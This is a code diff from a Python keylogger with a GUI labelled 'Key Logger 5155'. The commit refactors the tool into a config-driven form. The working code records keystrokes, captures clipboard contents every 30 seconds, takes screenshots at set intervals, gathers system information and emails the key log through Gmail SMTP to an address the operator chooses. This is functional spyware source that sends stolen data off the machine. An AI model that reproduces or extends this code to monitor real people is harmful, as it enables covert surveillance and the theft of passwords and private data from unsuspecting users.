|
26 | 26 | import glob |
27 | 27 | from datetime import datetime |
28 | 28 |
|
| 29 | +import json |
| 30 | +import time |
| 31 | + |
| 32 | +_DEFAULT_CONFIG = { |
| 33 | + "paths": { |
| 34 | + "data_dir": "app/data", |
| 35 | + "keys_file": "app/data/key_log.txt", |
| 36 | + "system_file": "app/data/systeminfo.txt", |
| 37 | + "clipboard_file": "app/data/clipboard.txt", |
| 38 | + "screenshot_dir": "app/data/screenshots" |
| 39 | + } |
| 40 | +, |
| 41 | + "intervals_seconds": { |
| 42 | + "screenshot_interval": 900, |
| 43 | + "email_interval": 900, |
| 44 | + "clipboard_interval": 30, |
| 45 | + "loop_sleep": 1 |
| 46 | + }, |
| 47 | + "screenshots": {"keep_latest": 10}, |
| 48 | + "email": { |
| 49 | + "smtp_host": "smtp.gmail.com", |
| 50 | + "smtp_port": 587, |
| 51 | + "from_env": True, |
| 52 | + "from_address_env_var": "email", |
| 53 | + "from_password_env_var": "pass" |
| 54 | + }, |
| 55 | + "gui": { |
| 56 | + "icon": "cracking.ico", |
| 57 | + "image": "cracking.png", |
| 58 | + "window_title": "Key Logger 5155" |
| 59 | + }, |
| 60 | + "safety": {"require_confirm": True} |
| 61 | +} |
| 62 | + |
| 63 | +def load_config(): |
| 64 | + """Load ../config.json relative to this file, merge with defaults.""" |
| 65 | + base_dir = os.path.dirname(os.path.abspath(__file__)) |
| 66 | + config_path = os.path.join(base_dir, "..", "config.json") |
| 67 | + cfg = _DEFAULT_CONFIG.copy() |
| 68 | + |
| 69 | + try: |
| 70 | + with open(config_path, "r", encoding="utf-8") as f: |
| 71 | + user_cfg = json.load(f) |
| 72 | + except FileNotFoundError: |
| 73 | + logging.warning(f"config.json not found at {config_path}, using defaults") |
| 74 | + return cfg |
| 75 | + except json.JSONDecodeError as e: |
| 76 | + logging.error(f"Invalid config.json: {e}") |
| 77 | + return cfg |
| 78 | + |
| 79 | + for top_key, top_val in user_cfg.items(): |
| 80 | + if top_key in cfg and isinstance(cfg[top_key], dict) and isinstance(top_val, dict): |
| 81 | + cfg[top_key].update(top_val) |
| 82 | + else: |
| 83 | + cfg[top_key] = top_val |
| 84 | + return cfg |
| 85 | + |
| 86 | +# Load config once |
| 87 | +config = load_config() |
| 88 | + |
| 89 | + |
29 | 90 | # Load environment variables |
30 | 91 | load_dotenv() |
31 | 92 |
|
32 | 93 | # Configure logging |
33 | | -logging.basicConfig(filename="data/key_log.txt", level=logging.DEBUG, format='%(asctime)s, %(message)s') |
| 94 | +logging.basicConfig( |
| 95 | + filename=os.path.join(os.path.dirname(__file__), "data", "key_log.txt"), |
| 96 | + level=logging.DEBUG, |
| 97 | + format="%(asctime)s, %(message)s" |
| 98 | +) |
34 | 99 |
|
35 | 100 | # File paths for various log files |
36 | | -keys_information = "data/key_log.txt" |
37 | | -system_information = "data/systeminfo.txt" |
38 | | -clipboard_information = "data/clipboard.txt" |
39 | | -SCREENSHOT_DIR="data/screenshots" |
40 | | - |
41 | | -DATA_DIR = "data" |
42 | | -SCREENSHOTS_DIR = os.path.join(DATA_DIR, "screenshots") |
43 | | -STATE_FILE = os.path.join(DATA_DIR, "last_email_state.json") |
44 | | -KEYLOG_EXTRA_BYTES = 2048 |
| 101 | +# Config-based paths and intervals |
| 102 | +paths = config["paths"] |
| 103 | +keys_information = paths["keys_file"] |
| 104 | +system_information = paths["system_file"] |
| 105 | +clipboard_information = paths["clipboard_file"] |
| 106 | +SCREENSHOT_DIR = paths["screenshot_dir"] |
| 107 | + |
| 108 | +intervals = config["intervals_seconds"] |
| 109 | +SCREENSHOT_INTERVAL = int(intervals.get("screenshot_interval", 900)) |
| 110 | +EMAIL_INTERVAL = int(intervals.get("email_interval", 900)) |
| 111 | +CLIPBOARD_INTERVAL = int(intervals.get("clipboard_interval", 30)) |
| 112 | +LOOP_SLEEP = float(intervals.get("loop_sleep", 1.0)) |
| 113 | + |
| 114 | +KEEP_SCREENSHOTS = int(config.get("screenshots", {}).get("keep_latest", 10)) |
| 115 | + |
| 116 | +email_cfg = config["email"] |
| 117 | +SMTP_HOST = email_cfg.get("smtp_host", "smtp.gmail.com") |
| 118 | +SMTP_PORT = int(email_cfg.get("smtp_port", 587)) |
| 119 | + |
| 120 | +# Load email credentials (prefer env) |
| 121 | +if email_cfg.get("from_env", True): |
| 122 | + email_address = os.getenv(email_cfg.get("from_address_env_var", "email")) |
| 123 | + password = os.getenv(email_cfg.get("from_password_env_var", "pass")) |
| 124 | +else: |
| 125 | + email_address = email_cfg.get("from_address") |
| 126 | + password = email_cfg.get("from_password") |
45 | 127 |
|
46 | 128 | # Retrieve email and password from environment variables |
47 | 129 | email_address = os.getenv('email') |
@@ -309,33 +391,54 @@ def write_file(keys): |
309 | 391 |
|
310 | 392 | # Function to start keylogger |
311 | 393 | def start_logger(): |
312 | | - global listener, toAddr, btnStr |
313 | | - count = 900 |
| 394 | + global listener, toAddr, btnStr, stopFlag |
314 | 395 | listener.start() |
315 | 396 | btnStr.set("Stop Keylogger") |
| 397 | + |
316 | 398 | screenshot() |
| 399 | + last_screenshot = time.time() |
| 400 | + last_clipboard = time.time() |
| 401 | + last_email = time.time() |
| 402 | + |
317 | 403 | while True: |
318 | | - print(count) |
319 | 404 | if stopFlag: |
320 | 405 | break |
321 | | - if count % 30 ==0 : |
322 | | - copy_clipboard() |
323 | | - if count == 0: |
324 | | - screenshot() |
325 | | - computer_information() |
326 | | - if email_address and password and toAddr != "": |
| 406 | + |
| 407 | + now = time.time() |
| 408 | + |
| 409 | + # Clipboard capture |
| 410 | + if now - last_clipboard >= CLIPBOARD_INTERVAL: |
| 411 | + try: |
| 412 | + copy_clipboard() |
| 413 | + except Exception as e: |
| 414 | + logging.error(f"Clipboard error: {e}") |
| 415 | + last_clipboard = now |
| 416 | + |
| 417 | + # Screenshot capture |
| 418 | + if now - last_screenshot >= SCREENSHOT_INTERVAL: |
| 419 | + try: |
| 420 | + screenshot() |
| 421 | + except Exception as e: |
| 422 | + logging.error(f"Screenshot error: {e}") |
| 423 | + last_screenshot = now |
| 424 | + |
| 425 | + # Email send |
| 426 | + if now - last_email >= EMAIL_INTERVAL: |
| 427 | + if email_address and password and toAddr: |
327 | 428 | try: |
328 | 429 | send_email(keys_information, keys_information, toAddr) |
329 | | - except: |
330 | | - pass |
331 | | - count = 900 |
332 | | - sleep(1) |
333 | | - count -= 1 |
| 430 | + except Exception as e: |
| 431 | + logging.error(f"Email send failed: {e}") |
| 432 | + last_email = now |
| 433 | + |
| 434 | + time.sleep(LOOP_SLEEP) |
| 435 | + |
334 | 436 | listener.stop() |
335 | 437 | btnStr.set("Start Keylogger") |
336 | 438 | listener = Listener(on_press=on_press) |
337 | 439 |
|
338 | 440 |
|
| 441 | + |
339 | 442 | # Function to handle button click event |
340 | 443 | def on_button_click(): |
341 | 444 | global state, toAddr, listener, stopFlag, receiver_entry, btnStr |
@@ -378,10 +481,15 @@ def on_button_click(): |
378 | 481 | btnStr.set("Start Keylogger") |
379 | 482 |
|
380 | 483 | # Load and set icon on Title bar |
381 | | -root.after(201, lambda: root.iconbitmap('cracking.ico')) |
| 484 | +base_dir = os.path.dirname(os.path.abspath(__file__)) |
| 485 | +icon_path = os.path.join(base_dir, "data", "cracking.ico") |
| 486 | +img_path = os.path.join(os.path.dirname(__file__), "cracking.png") |
| 487 | +image = Image.open(img_path) |
| 488 | + |
| 489 | +icon_path = os.path.join(os.path.dirname(__file__), "cracking.ico") |
| 490 | +root.after(201, lambda: root.iconbitmap(icon_path)) |
| 491 | +image = Image.open(img_path) |
382 | 492 |
|
383 | | -# Display an image |
384 | | -image = Image.open('cracking.png') |
385 | 493 | resize_image = image.resize((300, 300)) |
386 | 494 | img = CTkImage(light_image=resize_image, size=(240, 240)) |
387 | 495 | icon = CTkLabel(main_frame, image=img, text="") |
|
0 commit comments